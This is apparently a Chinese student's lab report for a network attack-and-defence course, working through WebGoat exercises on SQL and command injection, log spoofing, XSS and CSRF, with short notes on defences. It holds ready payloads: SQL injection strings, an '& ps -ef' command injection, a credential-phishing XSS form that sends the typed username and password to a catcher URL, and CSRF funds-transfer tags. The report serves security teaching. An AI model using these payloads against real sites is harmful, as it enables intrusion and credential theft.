2019-2020-2 20175326李一潇《网络对抗技术》 Exp9 Web安全基础
一、实验内容
- SQL注入攻击
- 命令注入
- 数字型注入
- 日志欺骗
- 字符串型注入
- 数字型SQL注入
- 字符串注入
- XSS攻击
- XSS 钓鱼
- 存储型XSS攻击
- 反射型XSS攻击
- CSRF攻击
- 跨站请求伪造
- 绕过 CSRF 确认
二、实验原理
- SQL注入:是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
- xss攻击:通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
- CSRF攻击:跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站。
三、实验步骤
WebGoat安装
先下载webgoat-container-7.0.1-war-exec.jar和JDK,网盘链接(提取码:agfd)
根据这篇文章配置JDK
通过命令netstat -tupln | grep 8080
查看端口是否被占用,如果被占用,通过kill+进程号命令终止进程
在webgoat-container-7.0.1-war-exec.jar
文件所在的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar
在浏览器中输入http://localhost:8080/WebGoat 进入WebGoat登录界面,并使用页面下端任意一个账号密码进行登录
1.SQL注入攻击
命令注入
在正常的参数提交过程中添加恶意代码以执行某条指令。
在菜单栏中选择Injection Flaws
,展开页面中选择Command Injection
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在复选框中对应位置第一个option的代码,双击进行修改,添加"& ps -ef"
点击view
可以看到进程信息
数字型注入
在station字段中注入特征字符,组合成新的SQL语句。
选择Numeric SQL Injection
,右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
点击Go
显示所有城市的天气情况
日志欺骗
攻击者可以利用这种方式清除他们在日志中的痕迹
选择Log Spoofing
,在 username
中填入20175326%0d%0aLogin Succeeded for username: admin
其中0D%
是回车,%0A
是换行符
字符串型注入
通过注入字符串绕过认证
在LAB: SQL Injection
的展开页面中选择String SQL Injection
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。
以用户Neville(admit)
登录,输入密码hello\' or \'1\' = \'1
,即可获取到所有人员列表
数字型 SQL 注入
通过注入数字型数据绕过认证
选择Numeric SQL Injection
,使用用户名 Larry,密码 larry 登录
登陆成功后,右键点击页面,选择inspect Element
,将员工ID的value改成101 or 1=1 order by salary desc
点击ViewProfile
,即可查询到最高纪录的结果
字符串注入
通过注入字符串绕过认证。
在菜单栏中选择Injection Flaws
,展开页面中选择String SQL Injection
输入查询的用户名Smith\' or 1=1--
(1=1是恒等式,因此能查询到表里面的所有数据),即可查询到所有用户信用卡号码
2.XSS攻击
XSS 钓鱼
当用户输入非法HTTP响应时容易受到XSS攻击。
在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Phishing with XSS
在search
框中输入以下代码
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
//表格
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
然后输入用户名及密码进行登录,就可以看见登陆信息了
存储型XSS攻击
用户留言的时候输入一段javascript脚本,这段脚本就会被保存在数据库中。
选择Stored XSS Attacks
,在title中任意输入字符,留言板中输入<script>alert("I am 20175226. You\'ve been attacked!!!");</script>
反射型XSS攻击
在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
选择Reflected XSS Attacks
,输入XSS钓鱼中的代码,然后输入账号信息
3.CSRF攻击
跨站请求伪造
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。
在菜单栏中选择Cross‐Site Scripting
,展开页面中选择Cross Site Request Forgery (CSRF)
在title中输入任何参数(学号),根据自己参数的实际情况message框中输入 <img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=5000" width="1" height="1" />
绕过 CSRF 确认
跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令
选择CSRF Prompt By‐Pass
,在title框中输入学号,message框中输入代码
<iframe src="attack?Screen=328&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=328&menu=900&transferFunds=CONFIRM"> </iframe>
点击进入生成的链接后,攻击成功
四、实验心得
这是网络攻防的最后一次实验,是web安全基础,是我们上个星期实验的拓展,主要是和攻击相关的内容。这个实验基本上是这门课的一个总结,运用了多种攻击方式,也是对以前的知识的一种回顾,也让我们知道的网络攻击的简便。
通过整个课程的学习,对我提升最大的不是我们课程上所学到的内容,如果去进行网络攻击,而是提高我的网络安全意识,在使用互联网的过程当中,如何去保护我们的个人隐私安全,这可能是对我的最大的收获吧。其次是学习到了一种探究的学习方法,如何去查询资料,如何得到自己想要的结果,这都是对我的提升。
五、思考题
- SQL注入攻击原理,如何防御
- 原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。利用Web应用对后台数据库查询语句处理存在的安全漏洞,后台数据库将其认作正常SQL指令后正常执行。
- 防御:使用正则表达式过滤传入的参数,关闭或删除不必要的交互式提交表单页面,加强对用户输入的验证
- XSS攻击的原理,如何防御
- 原理:跨站脚本。攻击者利用网站漏洞,输入可以显示在页面上的、对其他用户造成影响的html代码;使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。
- 防御:特征匹配方式,在所有提交的信息中都进行匹配检查。对所有用户提交内容进行可靠的输入验证。
- CSRF攻击原理,如何防御
- 原理:跨站请求伪造。即冒名登录,攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己以前认证过的站点并运行一些操作(如发邮件,发消息,甚至财产操作(如转账和购买商品)。
- 防御:尽量不要在页面的链接中暴露用户隐私信息;添加加随机验证,每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。